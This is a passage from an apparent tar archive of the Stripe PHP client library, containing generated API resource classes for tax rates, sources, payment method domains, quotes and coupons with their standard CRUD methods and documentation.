retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/TaxRate.php����������������������������������������������������������������������0000644�����������������00000014616�14720677707�0012371 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Tax rates can be applied to <a href="https://stripe.com/docs/billing/invoices/tax-rates">invoices</a>, <a href="https://stripe.com/docs/billing/subscriptions/taxes">subscriptions</a> and <a href="https://stripe.com/docs/payments/checkout/set-up-a-subscription#tax-rates">Checkout Sessions</a> to collect tax. * * Related guide: <a href="https://stripe.com/docs/billing/taxes/tax-rates">Tax rates</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Defaults to <code>true</code>. When set to <code>false</code>, this tax rate cannot be used with new applications or Checkout Sessions, but will still work for subscriptions and invoices that already have it set. * @property null|string $country Two-letter country code (<a href="https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2">ISO 3166-1 alpha-2</a>). * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $description An arbitrary string attached to the tax rate for your internal use only. It will not be visible to your customers. * @property string $display_name The display name of the tax rates as it will appear to your customer on their receipt email, PDF, and the hosted invoice page. * @property null|float $effective_percentage Actual/effective tax rate percentage out of 100. For tax calculations with automatic_tax[enabled]=true, this percentage reflects the rate actually used to calculate tax based on the product's taxability and whether the user is registered to collect taxes in the corresponding jurisdiction. * @property bool $inclusive This specifies if the tax rate is inclusive or exclusive. * @property null|string $jurisdiction The jurisdiction for the tax rate. You can use this label field for tax reporting purposes. It also appears on your customer’s invoice. * @property null|string $jurisdiction_level The level of the jurisdiction that imposes this tax rate. Will be <code>null</code> for manually defined tax rates. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property float $percentage Tax rate percentage out of 100. For tax calculations with automatic_tax[enabled]=true, this percentage includes the statutory tax rate of non-taxable jurisdictions. * @property null|string $state <a href="https://en.wikipedia.org/wiki/ISO_3166-2:US">ISO 3166-2 subdivision code</a>, without country prefix. For example, "NY" for New York, United States. * @property null|string $tax_type The high-level tax type, such as <code>vat</code> or <code>sales_tax</code>. */ class TaxRate extends ApiResource { const OBJECT_NAME = 'tax_rate'; use ApiOperations\Update; const JURISDICTION_LEVEL_CITY = 'city'; const JURISDICTION_LEVEL_COUNTRY = 'country'; const JURISDICTION_LEVEL_COUNTY = 'county'; const JURISDICTION_LEVEL_DISTRICT = 'district'; const JURISDICTION_LEVEL_MULTIPLE = 'multiple'; const JURISDICTION_LEVEL_STATE = 'state'; const TAX_TYPE_AMUSEMENT_TAX = 'amusement_tax'; const TAX_TYPE_COMMUNICATIONS_TAX = 'communications_tax'; const TAX_TYPE_GST = 'gst'; const TAX_TYPE_HST = 'hst'; const TAX_TYPE_IGST = 'igst'; const TAX_TYPE_JCT = 'jct'; const TAX_TYPE_LEASE_TAX = 'lease_tax'; const TAX_TYPE_PST = 'pst'; const TAX_TYPE_QST = 'qst'; const TAX_TYPE_RST = 'rst'; const TAX_TYPE_SALES_TAX = 'sales_tax'; const TAX_TYPE_VAT = 'vat'; /** * Creates a new tax rate. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your tax rates. Tax rates are returned sorted by creation * date, with the most recently created tax rates appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TaxRate> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a tax rate with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing tax rate. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TaxRate the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Source.php�����������������������������������������������������������������������0000644�����������������00000026712�14720677707�0012261 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * <code>Source</code> objects allow you to accept a variety of payment methods. They * represent a customer's payment instrument, and can be used with the Stripe API * just like a <code>Card</code> object: once chargeable, they can be charged, or can be * attached to customers. * * Stripe doesn't recommend using the deprecated <a href="https://stripe.com/docs/api/sources">Sources API</a>. * We recommend that you adopt the <a href="https://stripe.com/docs/api/payment_methods">PaymentMethods API</a>. * This newer API provides access to our latest features and payment method types. * * Related guides: <a href="https://stripe.com/docs/sources">Sources API</a> and <a href="https://stripe.com/docs/sources/customers">Sources & Customers</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $ach_credit_transfer * @property null|\Stripe\StripeObject $ach_debit * @property null|\Stripe\StripeObject $acss_debit * @property null|\Stripe\StripeObject $alipay * @property null|int $amount A positive integer in the smallest currency unit (that is, 100 cents for $1.00, or 1 for ¥1, Japanese Yen being a zero-decimal currency) representing the total amount associated with the source. This is the amount for which the source will be chargeable once ready. Required for <code>single_use</code> sources. * @property null|\Stripe\StripeObject $au_becs_debit * @property null|\Stripe\StripeObject $bancontact * @property null|\Stripe\StripeObject $card * @property null|\Stripe\StripeObject $card_present * @property string $client_secret The client secret of the source. Used for client-side retrieval using a publishable key. * @property null|\Stripe\StripeObject $code_verification * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $currency Three-letter <a href="https://stripe.com/docs/currencies">ISO code for the currency</a> associated with the source. This is the currency for which the source will be chargeable once ready. Required for <code>single_use</code> sources. * @property null|string $customer The ID of the customer to which this source is attached. This will not be present when the source has not been attached to a customer. * @property null|\Stripe\StripeObject $eps * @property string $flow The authentication <code>flow</code> of the source. <code>flow</code> is one of <code>redirect</code>, <code>receiver</code>, <code>code_verification</code>, <code>none</code>. * @property null|\Stripe\StripeObject $giropay * @property null|\Stripe\StripeObject $ideal * @property null|\Stripe\StripeObject $klarna * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\StripeObject $multibanco * @property null|\Stripe\StripeObject $owner Information about the owner of the payment instrument that may be used or required by particular source types. * @property null|\Stripe\StripeObject $p24 * @property null|\Stripe\StripeObject $receiver * @property null|\Stripe\StripeObject $redirect * @property null|\Stripe\StripeObject $sepa_credit_transfer * @property null|\Stripe\StripeObject $sepa_debit * @property null|\Stripe\StripeObject $sofort * @property null|\Stripe\StripeObject $source_order * @property null|string $statement_descriptor Extra information about a source. This will appear on your customer's statement every time you charge the source. * @property string $status The status of the source, one of <code>canceled</code>, <code>chargeable</code>, <code>consumed</code>, <code>failed</code>, or <code>pending</code>. Only <code>chargeable</code> sources can be used to create a charge. * @property null|\Stripe\StripeObject $three_d_secure * @property string $type The <code>type</code> of the source. The <code>type</code> is a payment method, one of <code>ach_credit_transfer</code>, <code>ach_debit</code>, <code>alipay</code>, <code>bancontact</code>, <code>card</code>, <code>card_present</code>, <code>eps</code>, <code>giropay</code>, <code>ideal</code>, <code>multibanco</code>, <code>klarna</code>, <code>p24</code>, <code>sepa_debit</code>, <code>sofort</code>, <code>three_d_secure</code>, or <code>wechat</code>. An additional hash is included on the source with a name matching this value. It contains additional information specific to the <a href="https://stripe.com/docs/sources">payment method</a> used. * @property null|string $usage Either <code>reusable</code> or <code>single_use</code>. Whether this source should be reusable or not. Some source types may or may not be reusable by construction, while others may leave the option at creation. If an incompatible value is passed, an error will be returned. * @property null|\Stripe\StripeObject $wechat */ class Source extends ApiResource { const OBJECT_NAME = 'source'; use ApiOperations\Update; const FLOW_CODE_VERIFICATION = 'code_verification'; const FLOW_NONE = 'none'; const FLOW_RECEIVER = 'receiver'; const FLOW_REDIRECT = 'redirect'; const STATUS_CANCELED = 'canceled'; const STATUS_CHARGEABLE = 'chargeable'; const STATUS_CONSUMED = 'consumed'; const STATUS_FAILED = 'failed'; const STATUS_PENDING = 'pending'; const TYPE_ACH_CREDIT_TRANSFER = 'ach_credit_transfer'; const TYPE_ACH_DEBIT = 'ach_debit'; const TYPE_ACSS_DEBIT = 'acss_debit'; const TYPE_ALIPAY = 'alipay'; const TYPE_AU_BECS_DEBIT = 'au_becs_debit'; const TYPE_BANCONTACT = 'bancontact'; const TYPE_CARD = 'card'; const TYPE_CARD_PRESENT = 'card_present'; const TYPE_EPS = 'eps'; const TYPE_GIROPAY = 'giropay'; const TYPE_IDEAL = 'ideal'; const TYPE_KLARNA = 'klarna'; const TYPE_MULTIBANCO = 'multibanco'; const TYPE_P24 = 'p24'; const TYPE_SEPA_CREDIT_TRANSFER = 'sepa_credit_transfer'; const TYPE_SEPA_DEBIT = 'sepa_debit'; const TYPE_SOFORT = 'sofort'; const TYPE_THREE_D_SECURE = 'three_d_secure'; const TYPE_WECHAT = 'wechat'; const USAGE_REUSABLE = 'reusable'; const USAGE_SINGLE_USE = 'single_use'; /** * Creates a new source object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Retrieves an existing source object. Supply the unique source ID from a source * creation request and Stripe will return the corresponding up-to-date source * object information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified source by setting the values of the parameters passed. Any * parameters not provided will be left unchanged. * * This request accepts the <code>metadata</code> and <code>owner</code> as * arguments. It is also possible to update type specific information for selected * payment methods. Please refer to our <a href="/docs/sources">payment method * guides</a> for more detail. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } use ApiOperations\NestedResource; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\UnexpectedValueException if the source is not attached to a customer * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source the detached source */ public function detach($params = null, $opts = null) { self::_validateParams($params); $id = $this['id']; if (!$id) { $class = static::class; $msg = "Could not determine which URL to request: {$class} instance " . "has invalid ID: {$id}"; throw new Exception\UnexpectedValueException($msg, null); } if ($this['customer']) { $base = Customer::classUrl(); $parentExtn = \urlencode(Util\Util::utf8($this['customer'])); $extn = \urlencode(Util\Util::utf8($id)); $url = "{$base}/{$parentExtn}/sources/{$extn}"; list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } $message = 'This source object does not appear to be currently attached ' . 'to a customer object.'; throw new Exception\UnexpectedValueException($message); } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SourceTransaction> list of source transactions */ public static function allSourceTransactions($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/source_transactions'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Source the verified source */ public function verify($params = null, $opts = null) { $url = $this->instanceUrl() . '/verify'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ������������������������������������������������������stripe-gateway/lib/PaymentMethodDomain.php����������������������������������������������������������0000644�����������������00000011306�14720677707�0014720 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A payment method domain represents a web domain that you have registered with Stripe. * Stripe Elements use registered payment method domains to control where certain payment methods are shown. * * Related guide: <a href="https://stripe.com/docs/payments/payment-methods/pmd-registration">Payment method domains</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $apple_pay Indicates the status of a specific payment method on a payment method domain. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $domain_name The domain name that this payment method domain object represents. * @property bool $enabled Whether this payment method domain is enabled. If the domain is not enabled, payment methods that require a payment method domain will not appear in Elements. * @property \Stripe\StripeObject $google_pay Indicates the status of a specific payment method on a payment method domain. * @property \Stripe\StripeObject $link Indicates the status of a specific payment method on a payment method domain. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $paypal Indicates the status of a specific payment method on a payment method domain. */ class PaymentMethodDomain extends ApiResource { const OBJECT_NAME = 'payment_method_domain'; use ApiOperations\Update; /** * Creates a payment method domain. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Lists the details of existing payment method domains. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethodDomain> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an existing payment method domain. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing payment method domain. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentMethodDomain the validated payment method domain */ public function validate($params = null, $opts = null) { $url = $this->instanceUrl() . '/validate'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Quote.php������������������������������������������������������������������������0000644�����������������00000026626�14720677707�0012122 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A Quote is a way to model prices that you'd like to provide to a customer. * Once accepted, it will automatically create an invoice, subscription or subscription schedule. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount_subtotal Total before any discounts or taxes are applied. * @property int $amount_total Total after discounts and taxes are applied. * @property null|string|\Stripe\Application $application ID of the Connect Application that created the quote. * @property null|int $application_fee_amount The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. Only applicable if there are no line items with recurring prices on the quote. * @property null|float $application_fee_percent A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. Only applicable if there are line items with recurring prices on the quote. * @property \Stripe\StripeObject $automatic_tax * @property string $collection_method Either <code>charge_automatically</code>, or <code>send_invoice</code>. When charging automatically, Stripe will attempt to pay invoices at the end of the subscription cycle or on finalization using the default payment method attached to the subscription or customer. When sending an invoice, Stripe will email your customer an invoice with payment instructions and mark the subscription as <code>active</code>. Defaults to <code>charge_automatically</code>. * @property \Stripe\StripeObject $computed * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string|\Stripe\Customer $customer The customer which this quote belongs to. A customer is required before finalizing the quote. Once specified, it cannot be changed. * @property null|(string|\Stripe\TaxRate)[] $default_tax_rates The tax rates applied to this quote. * @property null|string $description A description that will be displayed on the quote PDF. * @property (string|\Stripe\Discount)[] $discounts The discounts applied to this quote. * @property int $expires_at The date on which the quote will be canceled if in <code>open</code> or <code>draft</code> status. Measured in seconds since the Unix epoch. * @property null|string $footer A footer that will be displayed on the quote PDF. * @property null|\Stripe\StripeObject $from_quote Details of the quote that was cloned. See the <a href="https://stripe.com/docs/quotes/clone">cloning documentation</a> for more details. * @property null|string $header A header that will be displayed on the quote PDF. * @property null|string|\Stripe\Invoice $invoice The invoice that was created from this quote. * @property \Stripe\StripeObject $invoice_settings * @property null|\Stripe\Collection<\Stripe\LineItem> $line_items A list of items the customer is being quoted for. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $number A unique number that identifies this particular quote. This number is assigned once the quote is <a href="https://stripe.com/docs/quotes/overview#finalize">finalized</a>. * @property null|string|\Stripe\Account $on_behalf_of The account on behalf of which to charge. See the <a href="https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts">Connect documentation</a> for details. * @property string $status The status of the quote. * @property \Stripe\StripeObject $status_transitions * @property null|string|\Stripe\Subscription $subscription The subscription that was created or updated from this quote. * @property \Stripe\StripeObject $subscription_data * @property null|string|\Stripe\SubscriptionSchedule $subscription_schedule The subscription schedule that was created or updated from this quote. * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this quote belongs to. * @property \Stripe\StripeObject $total_details * @property null|\Stripe\StripeObject $transfer_data The account (if any) the payments will be attributed to for tax reporting, and where funds from each payment will be transferred to for each of the invoices. */ class Quote extends ApiResource { const OBJECT_NAME = 'quote'; use ApiOperations\Update; const COLLECTION_METHOD_CHARGE_AUTOMATICALLY = 'charge_automatically'; const COLLECTION_METHOD_SEND_INVOICE = 'send_invoice'; const STATUS_ACCEPTED = 'accepted'; const STATUS_CANCELED = 'canceled'; const STATUS_DRAFT = 'draft'; const STATUS_OPEN = 'open'; /** * A quote models prices and services for a customer. Default options for * <code>header</code>, <code>description</code>, <code>footer</code>, and * <code>expires_at</code> can be set in the dashboard via the <a * href="https://dashboard.stripe.com/settings/billing/quote">quote template</a>. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your quotes. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Quote> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the quote with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * A quote models prices and services for a customer. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote the accepted quote */ public function accept($params = null, $opts = null) { $url = $this->instanceUrl() . '/accept'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote the canceled quote */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Quote the finalized quote */ public function finalizeQuote($params = null, $opts = null) { $url = $this->instanceUrl() . '/finalize'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> list of line items */ public static function allComputedUpfrontLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/computed_upfront_line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> list of line items */ public static function allLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param callable $readBodyChunkCallable * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return void */ public function pdf($readBodyChunkCallable, $params = null, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); if (!isset($opts->apiBase)) { $opts->apiBase = \Stripe\Stripe::$apiUploadBase; } $url = $this->instanceUrl() . '/pdf'; $this->_requestStream('get', $url, $readBodyChunkCallable, $params, $opts); } } ����������������������������������������������������������������������������������������������������������stripe-gateway/lib/Coupon.php�����������������������������������������������������������������������0000644�����������������00000017243�14720677707�0012263 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A coupon contains information about a percent-off or amount-off discount you * might want to apply to a customer. Coupons may be applied to <a href="https://stripe.com/docs/api#subscriptions">subscriptions</a>, <a href="https://stripe.com/docs/api#invoices">invoices</a>, * <a href="https://stripe.com/docs/api/checkout/sessions">checkout sessions</a>, <a href="https://stripe.com/docs/api#quotes">quotes</a>, and more. Coupons do not work with conventional one-off <a href="https://stripe.com/docs/api#create_charge">charges</a> or <a href="https://stripe.com/docs/api/payment_intents">payment intents</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|int $amount_off Amount (in the <code>currency</code> specified) that will be taken off the subtotal of any invoices for this customer. * @property null|\Stripe\StripeObject $applies_to * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $currency If <code>amount_off</code> has been set, the three-letter <a href="https://stripe.com/docs/currencies">ISO code for the currency</a> of the amount to take off. * @property null|\Stripe\StripeObject $currency_options Coupons defined in each available currency option. Each key must be a three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a> and a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $duration One of <code>forever</code>, <code>once</code>, and <code>repeating</code>. Describes how long a customer who applies this coupon will get the discount. * @property null|int $duration_in_months If <code>duration</code> is <code>repeating</code>, the number of months the coupon applies. Null if coupon <code>duration</code> is <code>forever</code> or <code>once</code>. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|int $max_redemptions Maximum number of times this coupon can be redeemed, in total, across all customers, before it is no longer valid. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $name Name of the coupon displayed to customers on for instance invoices or receipts. * @property null|float $percent_off Percent that will be taken off the subtotal of any invoices for this customer for the duration of the coupon. For example, a coupon with percent_off of 50 will make a $ (or local equivalent)100 invoice $ (or local equivalent)50 instead. * @property null|int $redeem_by Date after which the coupon can no longer be redeemed. * @property int $times_redeemed Number of times this coupon has been applied to a customer. * @property bool $valid Taking account of the above properties, whether this coupon can still be applied to a customer. */ class Coupon extends ApiResource { const OBJECT_NAME = 'coupon'; use ApiOperations\Update; const DURATION_FOREVER = 'forever'; const DURATION_ONCE = 'once'; const DURATION_REPEATING = 'repeating'; /** * You can create coupons easily via the <a * href="https://dashboard.stripe.com/coupons">coupon management</a> page of the * Stripe dashboard. Coupon creation is also accessible via the API if you need to * create coupons on the fly. * * A coupon has either a <code>percent_off</code> or an <code>amount_off</code> and * <code>currency</code>. If you set an <code>amount_off</code>, that amount will * be subtracted from any invoice’s subtotal. For example, an invoice with a * subtotal of <currency>100</currency> will have a final total of * <currency>0</currency> if a coupon with an <code>amount_off</code> of * <amount>200</amount> is applied to it and an invoice with a subtotal of * <currency>300</currency> will have a final total of <currency>100</currency> if * a coupon with an <code>amount_off</code> of <amount>200</amount> is applied to * it. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * You can delete coupons via the <a * href="https://dashboard.stripe.com/coupons">coupon management</a> page of the * Stripe dashboard. However, deleting a coupon does not affect any customers who * have already applied the coupon; it means that new customers can’t redeem the * coupon. You can also delete coupons via the API. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your coupons. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Coupon> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the coupon with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the metadata of a coupon. Other coupon details (currency, duration, * amount_off) are, by design, not editable. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Coupon the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = 